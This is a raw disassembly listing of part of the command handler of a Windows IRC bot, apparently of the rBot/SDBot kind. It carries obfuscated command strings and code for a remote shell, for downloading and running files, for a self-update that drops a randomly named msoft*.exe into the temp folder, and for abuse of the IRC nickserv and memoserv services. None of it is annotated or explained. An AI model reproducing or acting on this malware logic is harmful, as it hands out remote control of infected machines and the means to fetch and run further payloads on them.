		push	offset aRp4sr11cvr1 ; "Rp4sR11CvR1/"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407464
		mov	eax, [esi+8]
		test	eax, eax
		jz	loc_407464
		push	eax
		push	offset aTf	; "'TF"
		lea	eax, [ebp+var_3150]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_3150]
		push	offset dword_43C078
		push	offset dword_4355F0
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 28h
		call	sub_4220FC
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		push	offset aYwxiw_hzl400fd ; "yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd"...
		lea	eax, [ebp+var_3150]
		push	dword ptr [esi+8]
		push	offset dword_43C080
		push	offset dword_4356C8
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 18h
		call	sub_4220FC
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		push	offset aYwxiw_hzl400fd ; "yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd"...
		lea	eax, [ebp+var_3150]
		push	dword ptr [esi+8]
		push	offset dword_43C078
		push	offset dword_4356C8
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 18h
		call	sub_4220FC
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	dword_42F15C	; Sleep
		push	offset aYwxiw_hzl400fd ; "yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd"...
		lea	eax, [ebp+var_3150]
		push	dword ptr [esi+8]
		push	offset dword_43C080
		push	offset dword_4356C8
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 18h


loc_407464:				; CODE XREF: sub_403B2C+3819j
					; sub_403B2C+3824j
		push	dword ptr [esi+4]
		push	offset aZqrvt0t6nmz_ ; "ZqrVt0t6nmZ."
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407517
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	loc_407517
		push	eax
		lea	eax, [ebp+var_40DC]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_422063
		add	esp, 0Ch
		push	4
		pop	eax
		cmp	[ebp+arg_4], eax
		mov	[ebp+arg_C], eax
		jle	short loc_4074E8


loc_4074A6:				; CODE XREF: sub_403B2C+39BAj
		mov	eax, [ebp+arg_C]
		mov	eax, [esi+eax*4]
		test	eax, eax
		jz	short loc_4074DD
		push	eax
		lea	eax, [ebp+var_6CAC]
		push	offset aS_0	; " %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_6CAC]
		push	100h
		push	eax
		lea	eax, [ebp+var_40DC]
		push	eax
		call	sub_421F40
		add	esp, 18h


loc_4074DD:				; CODE XREF: sub_403B2C+3982j
		inc	[ebp+arg_C]
		mov	eax, [ebp+arg_C]
		cmp	eax, [ebp+arg_4]
		jl	short loc_4074A6


loc_4074E8:				; CODE XREF: sub_403B2C+3978j
		lea	eax, [ebp+var_40DC]
		push	eax
		lea	eax, [ebp+var_3150]
		push	dword ptr [esi+8]
		push	offset dword_43C078
		push	offset aSMemoservSendS ; "%s memoserv :send %s %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 18h


loc_407517:				; CODE XREF: sub_403B2C+3949j
					; sub_403B2C+3954j
		push	dword ptr [esi+4]
		push	offset a1shta0bzfwk1 ; "1ShtA0bzFwk1"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407580
		call	dword_42F164	; GetTickCount
		push	eax
		call	sub_4220EF
		pop	ecx
		call	sub_4010E7
		push	eax
		call	sub_4010E7
		push	eax
		lea	eax, [ebp+var_17CAC]
		push	offset aS@S_com	; "%s@%s.com"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_17CAC]
		push	eax
		push	offset dword_43C078
		lea	eax, [ebp+var_3150]
		push	offset aSNickservRegis ; "%s nickserv :register	pass103	%s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 24h


loc_407580:				; CODE XREF: sub_403B2C+39FCj
		push	dword ptr [esi+4]
		push	offset aAzcsp_hkilo_ ; "AZcsP.hkiLO."
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4075B8
		push	offset dword_43C078
		lea	eax, [ebp+var_3150]
		push	offset aSNickservDrop ;	"%s nickserv drop"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_3150]
		push	eax
		call	sub_4032AA
		add	esp, 10h


loc_4075B8:				; CODE XREF: sub_403B2C+3A65j
		push	dword ptr [esi+4]
		push	offset aErwc30qfw_p0 ; "eRWc30Qfw.P0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_40AF54
		call	sub_403A30
		xor	ebx, ebx
		mov	esi, offset aSUnloaded_	; "%s Unloaded."
		cmp	[ebp+arg_14], ebx
		jnz	short loc_4075F8
		cmp	[ebp+arg_18], ebx
		jnz	loc_40680B
		push	offset aZrbax_zpsbs_ty ; "ZRbAx.zPSBs.TY84s/myQpz0"
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 10h


loc_4075F8:				; CODE XREF: sub_403B2C+3AADj
		cmp	[ebp+arg_18], ebx
		jmp	loc_406805
; ---------------------------------------------------------------------------


loc_407600:				; CODE XREF: sub_403B2C+23ABj
		push	dword ptr [esi]
		push	offset aFepmfZswfd ; "FEpMF/ZswFD/"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_4076BB
		cmp	[esi+4], eax
		jnz	short loc_407620
		mov	ebx, offset aH08_Drzwx_	; "h/08./drzWX."
		jmp	loc_409FCE
; ---------------------------------------------------------------------------


loc_407620:				; CODE XREF: sub_403B2C+3AE8j
		push	20h
		push	[ebp+arg_8]
		call	sub_4233B0
		mov	esi, eax
		xor	ebx, ebx
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40AF54
		cmp	[ebp+arg_30], ebx
		jz	short loc_40766E
		mov	al, [ebp+arg_34]
		mov	byte ptr [ebp+arg_C+3],	5Fh
		test	al, al
		jz	short loc_40764B
		mov	byte ptr [ebp+arg_C+3],	al


loc_40764B:				; CODE XREF: sub_403B2C+3B1Aj
		push	esi
		call	sub_422120
		test	eax, eax
		pop	ecx
		jbe	short loc_40766E


loc_407656:				; CODE XREF: sub_403B2C+3B40j
		mov	al, byte ptr [ebp+arg_C+3]
		cmp	[ebx+esi], al
		jnz	short loc_407662
		mov	byte ptr [ebx+esi], 20h


loc_407662:				; CODE XREF: sub_403B2C+3B30j
		push	esi
		inc	ebx
		call	sub_422120
		cmp	ebx, eax
		pop	ecx
		jb	short loc_407656


loc_40766E:				; CODE XREF: sub_403B2C+3B0Fj
					; sub_403B2C+3B28j
		inc	esi
		push	esi
		call	sub_423517
		test	eax, eax
		pop	ecx
		jz	short loc_407696
		cmp	[ebp+arg_18], 0
		push	offset aH08_Drzwx_ ; "h/08./drzWX."
		push	offset aSSystemcallFai ; "%s SystemCall	failed."
		jnz	loc_40ADA1


loc_40768E:				; CODE XREF: sub_403B2C+966j
		push	dword ptr [edi+0Ch]
		jmp	loc_404007
; ---------------------------------------------------------------------------


loc_407696:				; CODE XREF: sub_403B2C+3B4Cj
		cmp	[ebp+arg_18], 0
		push	esi
		push	offset aH08_Drzwx_ ; "h/08./drzWX."
		push	offset aSSystemcallSen ; "%s SystemCall	sent: \"%s\""
		jnz	loc_40A5C3
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		jmp	loc_40A5CD
; ---------------------------------------------------------------------------


loc_4076BB:				; CODE XREF: sub_403B2C+3ADFj
		push	dword ptr [esi]
		push	offset aSud8hRsu8j1 ; "sUd8h/rsu8j1"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4077D1
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+arg_18]
		mov	[ebp+var_1D6C],	eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_1D70],	ecx
		mov	[ebp+var_1E7C],	eax
		mov	eax, [eax]
		mov	[ebp+var_1E78],	eax
		lea	eax, [ebp+var_1DF4]
		test	ecx, ecx
		jnz	short loc_407703
		push	dword ptr [edi+0Ch]
		jmp	short loc_407705
; ---------------------------------------------------------------------------


loc_407703:				; CODE XREF: sub_403B2C+3BD0j
		push	dword ptr [edi]


loc_407705:				; CODE XREF: sub_403B2C+3BD5j
		push	eax
		call	dword_42F04C	; lstrcpyA
		push	0Ah
		call	sub_41C235
		test	eax, eax
		pop	ecx
		jle	short loc_40774B
		mov	esi, offset aSRemoteShellRu ; "%s Remote shell running."


loc_40771D:				; CODE XREF: sub_403B2C+3CC7j
		mov	ebx, offset aCkdai0gd9lr_ ; "ckdai0Gd9lr."


loc_407722:				; CODE XREF: sub_403B2C+698j
					; sub_403B2C+975j ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_407742
		cmp	[ebp+arg_18], 0


loc_40772C:				; CODE XREF: sub_403B2C+64B3j
					; sub_403B2C+723Fj
		jnz	loc_40AD9F


loc_407732:				; CODE XREF: sub_403B2C+291j
					; sub_403B2C+418Cj ...
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 10h


loc_407742:				; CODE XREF: sub_403B2C+279j
					; sub_403B2C+3BFAj ...
		cmp	[ebp+arg_18], 0
		jmp	loc_40AD99
; ---------------------------------------------------------------------------


loc_40774B:				; CODE XREF: sub_403B2C+3BEAj
		push	[ebp+var_1E7C]
		lea	eax, [ebp+var_1DF4]
		push	eax
		call	sub_414508
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	ebx, offset aCkdai0gd9lr_ ; "ckdai0Gd9lr."
		mov	esi, offset aSCouldnTOpenSh ; "%s Couldn't open shell."
		jnz	short loc_40778A
		cmp	[ebp+arg_14], 0
		jnz	short loc_40778A
		cmp	[ebp+arg_18], 0
		jnz	short loc_407790
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 10h


loc_40778A:				; CODE XREF: sub_403B2C+3C40j
					; sub_403B2C+3C46j
		cmp	[ebp+arg_18], 0
		jz	short loc_40779E


loc_407790:				; CODE XREF: sub_403B2C+3C4Cj
		push	ebx
		push	esi
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		jmp	short loc_4077B9
; ---------------------------------------------------------------------------


loc_40779E:				; CODE XREF: sub_403B2C+3C62j
		cmp	[ebp+arg_14], 0
		jnz	loc_40AF54
		push	ebx
		push	offset aSShellReady_ ; "%s Shell ready."
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6


loc_4077B9:				; CODE XREF: sub_403B2C+3C70j
		add	esp, 10h
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54
		push	ebx
		push	offset aSShellReady_ ; "%s Shell ready."
		jmp	loc_40ADA1
; ---------------------------------------------------------------------------


loc_4077D1:				; CODE XREF: sub_403B2C+3B9Fj
		push	dword ptr [esi]
		push	offset aJ2yyw_j09xc ; "j2yYw.J09XC/"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4078BF
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_4077F8
		mov	esi, offset aSMissingParamS ; "%s Missing param(s)"
		jmp	loc_40771D
; ---------------------------------------------------------------------------


loc_4077F8:				; CODE XREF: sub_403B2C+3CC0j
		push	eax
		lea	eax, [ebp+var_3254]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_422063
		add	esp, 0Ch
		push	2
		pop	ebx
		cmp	[ebp+arg_4], ebx
		jle	short loc_40784F


loc_407815:				; CODE XREF: sub_403B2C+3D21j
		mov	eax, [esi+ebx*4]
		test	eax, eax
		jz	short loc_407849
		push	eax
		lea	eax, [ebp+var_19CAC]
		push	offset aS_0	; " %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_19CAC]
		push	104h
		push	eax
		lea	eax, [ebp+var_3254]
		push	eax
		call	sub_421F40
		add	esp, 18h


loc_407849:				; CODE XREF: sub_403B2C+3CEEj
		inc	ebx
		cmp	ebx, [ebp+arg_4]
		jl	short loc_407815


loc_40784F:				; CODE XREF: sub_403B2C+3CE7j
		lea	eax, [ebp+var_3254]
		push	offset asc_433F80 ; "\n"
		push	eax
		call	sub_423270
		lea	eax, [ebp+var_3254]
		push	eax
		call	sub_414311
		add	esp, 0Ch
		mov	ebx, offset aCkdai0gd9lr_ ; "ckdai0Gd9lr."
		test	eax, eax
		jnz	short loc_407882
		mov	esi, offset aSErrorSendingT ; "%s Error	sending	to shell."
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_407882:				; CODE XREF: sub_403B2C+3D4Aj
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSCommandsS_ ; "%s Commands: %s."
		jnz	short loc_4078AA
		cmp	[ebp+arg_18], 0
		jnz	short loc_4078B4
		lea	eax, [ebp+var_3254]
		push	eax
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 14h


loc_4078AA:				; CODE XREF: sub_403B2C+3D5Fj
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_4078B4:				; CODE XREF: sub_403B2C+3D65j
		lea	eax, [ebp+var_3254]
		jmp	loc_4041AF
; ---------------------------------------------------------------------------


loc_4078BF:				; CODE XREF: sub_403B2C+3CB5j
		push	dword ptr [esi]
		push	offset a43ucs0rkqux_ ; "43uCS0rkQUx."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_4078D8
		push	offset off_435C10
		push	0Ah
		jmp	loc_409B7C
; ---------------------------------------------------------------------------


loc_4078D8:				; CODE XREF: sub_403B2C+3D9Ej
		push	dword ptr [esi]
		push	offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_407A7F
		cmp	[esi+4], eax
		jz	loc_407A70
		cmp	[esi+8], eax
		jz	loc_407A70
		push	0Ch
		call	sub_41C254
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_407948
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSSAlreadyRunni ; "%s %s Already running at	thread number:"...
		mov	ebx, offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0"
		jnz	short loc_407936
		cmp	[ebp+arg_18], 0
		jnz	short loc_407940
		push	eax
		push	offset aDownload ; "Download"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_407936:				; CODE XREF: sub_403B2C+3DECj
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_407940:				; CODE XREF: sub_403B2C+3DF2j
		push	[ebp+arg_C]
		jmp	loc_407A4B
; ---------------------------------------------------------------------------


loc_407948:				; CODE XREF: sub_403B2C+3DDCj
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+arg_20]
		mov	[ebp+var_2150],	eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_209C],	eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_2098],	eax
		mov	[ebp+var_20A0],	ecx
		test	eax, eax
		lea	eax, [ebp+var_214C]
		jnz	short loc_40797B
		push	dword ptr [edi+0Ch]
		jmp	short loc_40797D
; ---------------------------------------------------------------------------


loc_40797B:				; CODE XREF: sub_403B2C+3E48j
		push	dword ptr [edi]


loc_40797D:				; CODE XREF: sub_403B2C+3E4Dj
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	eax, [esi+4]
		xor	ecx, ecx
		mov	[ebp+var_20C8],	eax
		mov	eax, [esi+8]
		mov	[ebp+var_20C4],	eax
		xor	eax, eax
		mov	[ebp+var_20BC],	eax
		cmp	[esi+0Ch], eax
		mov	ebx, offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0"
		setnz	cl
		mov	[ebp+var_20B8],	ecx
		xor	ecx, ecx
		cmp	[esi+10h], eax
		setnz	cl
		mov	[ebp+var_20B4],	ecx
		push	dword ptr [esi+8]
		mov	eax, [esi+4]
		push	eax
		push	ebx
		push	offset aSDownloadingTo ; "%s Downloading to: %s."
		push	0Ch
		call	sub_41BED7
		add	esp, 14h
		mov	[ebp+var_20CC],	eax
		lea	eax, [ebp+arg_6C]
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_2150]
		push	esi
		push	eax
		push	offset sub_40CDE2
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_20CC]
		imul	ecx, 1018h
		cmp	eax, esi
		mov	dword_46D414[ecx], eax
		jnz	short loc_407A5D
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSFailedToStart ; "%s Failed to start [%s],	error: [%d]"
		jnz	short loc_407A3A
		cmp	[ebp+arg_18], 0
		jnz	short loc_407A44
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset aDownload ; "Download"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_407A3A:				; CODE XREF: sub_403B2C+3EEAj
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_407A44:				; CODE XREF: sub_403B2C+3EF0j
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax


loc_407A4B:				; CODE XREF: sub_403B2C+3E17j
		push	offset aDownload ; "Download"
		jmp	loc_40AF45
; ---------------------------------------------------------------------------


loc_407A55:				; CODE XREF: sub_403B2C+3F38j
		push	32h
		call	dword_42F15C	; Sleep


loc_407A5D:				; CODE XREF: sub_403B2C+3EDFj
		cmp	[ebp+var_2094],	0
		jz	short loc_407A55
		mov	esi, offset aSDownload ; "%s Download"
		jmp	loc_407C9B
; ---------------------------------------------------------------------------


loc_407A70:				; CODE XREF: sub_403B2C+3DC0j
					; sub_403B2C+3DC9j
		mov	esi, offset aSMissingParamS ; "%s Missing param(s)"
		mov	ebx, offset aOpc9a1uprd41iw ; "OPC9A1upRd41IwhIm0ocHBf0"
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_407A7F:				; CODE XREF: sub_403B2C+3DB7j
		push	dword ptr [esi]
		push	offset aNoazx1alvg0 ; "NoaZx1Alvg/0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_407CBD
		xor	ecx, ecx
		cmp	[esi+4], ecx
		jnz	short loc_407AA6
		mov	esi, offset aSMissingParamS ; "%s Missing param(s)"
		mov	ebx, offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI."
		jmp	loc_40AD5F
; ---------------------------------------------------------------------------


loc_407AA6:				; CODE XREF: sub_403B2C+3F69j
		mov	eax, [esi+8]
		cmp	eax, ecx
		jz	short loc_407ABD
		push	eax
		push	(offset	loc_439027+1)
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_40AF54


loc_407ABD:				; CODE XREF: sub_403B2C+3F7Fj
		push	0Ch
		call	sub_41C254
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_407B0A
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSSAlreadyRunni ; "%s %s Already running at	thread number:"...
		mov	ebx, offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI."
		jnz	short loc_407AF8
		cmp	[ebp+arg_18], 0
		jnz	short loc_407B02
		push	eax
		push	offset aUpdate	; "Update"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_407AF8:				; CODE XREF: sub_403B2C+3FAEj
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_407B02:				; CODE XREF: sub_403B2C+3FB4j
		push	[ebp+arg_C]
		jmp	loc_407C7B
; ---------------------------------------------------------------------------


loc_407B0A:				; CODE XREF: sub_403B2C+3F9Ej
		lea	eax, [ebp+var_47EC]
		push	eax
		push	104h
		call	dword_42F050	; GetTempPathA
		call	sub_4220FC
		push	9
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		idiv	ebx
		lea	eax, [ebp+var_47EC]
		push	edx
		push	eax
		lea	eax, [ebp+var_3EDC]
		push	offset aSmsoftDDDDD_ex ; "%smsoft%d%d%d%d%d.exe"
		push	eax
		call	sub_422063
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+arg_20]
		mov	[ebp+var_1D64],	eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_1CB0],	eax
		mov	eax, [ebp+arg_18]
		add	esp, 20h
		mov	[ebp+var_1CAC],	eax
		test	eax, eax
		mov	[ebp+var_1CB4],	ecx
		lea	eax, [ebp+var_1D60]
		jnz	short loc_407BA2
		push	dword ptr [edi+0Ch]
		jmp	short loc_407BA4
; ---------------------------------------------------------------------------


loc_407BA2:				; CODE XREF: sub_403B2C+406Fj
		push	dword ptr [edi]


loc_407BA4:				; CODE XREF: sub_403B2C+4074j
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	eax, [esi+4]
		xor	ecx, ecx
		mov	[ebp+var_1CDC],	eax
		lea	eax, [ebp+var_3EDC]
		mov	[ebp+var_1CD8],	eax
		xor	eax, eax
		cmp	[esi+0Ch], eax
		mov	[ebp+var_1CCC],	eax
		mov	[ebp+var_1CC8],	eax
		mov	[ebp+var_1CD0],	1
		setnz	cl
		mov	[ebp+var_1CC4],	ecx
		mov	esi, [esi+4]
		lea	eax, [ebp+var_3EDC]
		mov	ebx, offset aSmo3c0mcu8j_xf ; "SmO3C0MCu8j.xfK1r.VuQwI."
		push	eax
		push	esi
		push	ebx
		push	offset aSDownloadingUp ; "%s Downloading update	to: (%s)"
		push	0Ch
		call	sub_41BED7
		add	esp, 14h
		mov	[ebp+var_1CE0],	eax
		lea	eax, [ebp+arg_6C]
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_1D64]
		push	esi
		push	eax
		push	offset sub_40CDE2
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_1CE0]
		imul	ecx, 1018h
		cmp	eax, esi
		mov	dword_46D414[ecx], eax
		jnz	short loc_407C8D
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSFailedToStart ; "%s Failed to start [%s],	error: [%d]"
		jnz	short loc_407C6A
		cmp	[ebp+arg_18], 0
		jnz	short loc_407C74
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset aUpdate	; "Update"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_407C6A:				; CODE XREF: sub_403B2C+411Aj
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_407C74:				; CODE XREF: sub_403B2C+4120j
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax


loc_407C7B:				; CODE XREF: sub_403B2C+3FD9j
		push	offset aUpdate	; "Update"
		jmp	loc_40AF45
; ---------------------------------------------------------------------------


loc_407C85:				; CODE XREF: sub_403B2C+4168j
		push	32h
		call	dword_42F15C	; Sleep


loc_407C8D:				; CODE XREF: sub_403B2C+410Fj
		cmp	[ebp+var_1CA8],	0
		jz	short loc_407C85
		mov	esi, offset aSDownloading_0 ; "%s Downloading update"


loc_407C9B:				; CODE XREF: sub_403B2C+3F3Fj
		xor	eax, eax
		cmp	[ebp+arg_14], eax
		jnz	loc_407742
		cmp	[ebp+arg_18], eax
		jnz	loc_40AD9F
		cmp	[ebp+arg_20], eax
		jz	loc_40AF54
		jmp	loc_407732
; ---------------------------------------------------------------------------


loc_407CBD:				; CODE XREF: sub_403B2C+3F5Ej
		push	dword ptr [esi]
		push	offset aL80reUvcue1 ; "l80re/UvCUe1"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_407D11
		cmp	[ebp+arg_18], eax
		mov	esi, [esi+4]
		jnz	short loc_407CEC
		test	esi, esi
		jz	short loc_407CDF
		push	esi
		call	sub_422B5A
		pop	ecx
		jmp	short loc_407CE1
; ---------------------------------------------------------------------------


loc_407CDF:				; CODE XREF: sub_403B2C+41A8j
		xor	eax, eax


loc_407CE1:				; CODE XREF: sub_403B2C+41B1j
		push	eax
		push	[ebp+arg_20]
		push	0
		push	dword ptr [edi+0Ch]
		jmp	short loc_407D04
; ---------------------------------------------------------------------------


loc_407CEC:				; CODE XREF: sub_403B2C+41A4j
		test	esi, esi
		jz	short loc_407CF9
		push	esi
		call	sub_422B5A
		pop	ecx
		jmp	short loc_407CFB
; ---------------------------------------------------------------------------


loc_407CF9:				; CODE XREF: sub_403B2C+41C2j
		xor	eax, eax


loc_407CFB:				; CODE XREF: sub_403B2C+41CBj
		push	eax
		push	[ebp+arg_20]
		push	[ebp+arg_18]
		push	dword ptr [edi]


loc_407D04:				; CODE XREF: sub_403B2C+41BEj
		push	[ebp+arg_10]
		call	start
		jmp	loc_40A5CD
; ---------------------------------------------------------------------------


loc_407D11:				; CODE XREF: sub_403B2C+419Cj
		push	dword ptr [esi]
		push	offset aTvjro1ubgtg1 ; "TVJrO1uBGtg1"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_407D5D
		mov	esi, [esi+4]
		test	esi, esi
		jz	short loc_407D2D
		push	esi
		call	sub_422B5A
		jmp	short loc_407D34
; ---------------------------------------------------------------------------


loc_407D2D:				; CODE XREF: sub_403B2C+41F7j
		push	8
		call	sub_41C254


loc_407D34:				; CODE XREF: sub_403B2C+41FFj
		test	eax, eax
		pop	ecx
		jz	loc_40AF54
		cmp	[ebp+arg_18], 0
		push	eax
		jnz	short loc_407D4B
		push	0
		push	dword ptr [edi+0Ch]
		jmp	short loc_407D50
; ---------------------------------------------------------------------------


loc_407D4B:				; CODE XREF: sub_403B2C+4216j
		push	[ebp+arg_18]
		push	dword ptr [edi]


loc_407D50:				; CODE XREF: sub_403B2C+421Dj
		push	[ebp+arg_10]
		call	sub_401408
		jmp	loc_40ADAB
; ---------------------------------------------------------------------------


loc_407D5D:				; CODE XREF: sub_403B2C+41F0j
		push	dword ptr [esi]
		push	offset aVxa_uCdd7s0 ; "VXA.u/cDD7S0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_407D76
		push	offset aStopped_ ; "Stopped."
		push	8
		jmp	loc_409B7C
; ---------------------------------------------------------------------------


loc_407D76:				; CODE XREF: sub_403B2C+423Cj
		push	dword ptr [esi]
		push	offset aH1cmq0wqw5c_ ; "h1cMQ0wQw5C."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_4082A8
		cmp	[esi+4], eax
		jz	loc_40AD70
		cmp	[esi+8], eax
		jz	loc_40AD70
		cmp	[esi+0Ch], eax
		jz	loc_40AD70
		cmp	[esi+10h], eax
		jz	loc_40AD70
		push	8
		call	sub_41C235
		push	dword ptr [esi+8]
		mov	[ebp+arg_C], eax
		call	sub_422B5A
		add	eax, [ebp+arg_C]
		pop	ecx
		pop	ecx
		cmp	eax, 0C9h
		jg	loc_40AF54
		push	dword ptr [esi+4]
		call	sub_422B5A
		movzx	eax, ax
		mov	[ebp+var_1A8], eax
		push	dword ptr [esi+8]
		call	sub_422B5A
		mov	[ebp+var_190], eax
		push	dword ptr [esi+0Ch]
		call	sub_422B5A
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+var_1A4], eax
		jnb	short loc_407E0B
		xor	eax, eax
		inc	eax
		mov	[ebp+var_1A4], eax


loc_407E0B:				; CODE XREF: sub_403B2C+42D4j
		push	6
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_407E18
		mov	[ebp+var_1A4], ecx


loc_407E18:				; CODE XREF: sub_403B2C+42E4j
		push	dword ptr [esi+10h]
		call	sub_422B5A
		cmp	eax, 270Fh
		pop	ecx
		mov	[ebp+var_1A0], eax
		jbe	short loc_407E38
		mov	[ebp+var_1A0], 270Fh


loc_407E38:				; CODE XREF: sub_403B2C+4300j
		or	[ebp+var_18C], 0FFFFFFFFh
		xor	eax, eax
		cmp	dword_432088, eax
		mov	[ebp+arg_C], eax
		jz	short loc_407E8F
		mov	[ebp+arg_4], offset dword_432088


loc_407E53:				; CODE XREF: sub_403B2C+4344j
		mov	eax, [ebp+arg_4]
		push	dword ptr [esi+4]
		add	eax, 0FFFFFFC8h
		push	eax
		call	ebx ; dword_42F070
		test	eax, eax
		jz	short loc_407E74
		add	[ebp+arg_4], 48h
		inc	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_407E53
		jmp	short loc_407E8D
; ---------------------------------------------------------------------------


loc_407E74:				; CODE XREF: sub_403B2C+4335j
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_18C], eax
		lea	ecx, [eax+eax*8]
		mov	ecx, dword_432088[ecx*8]
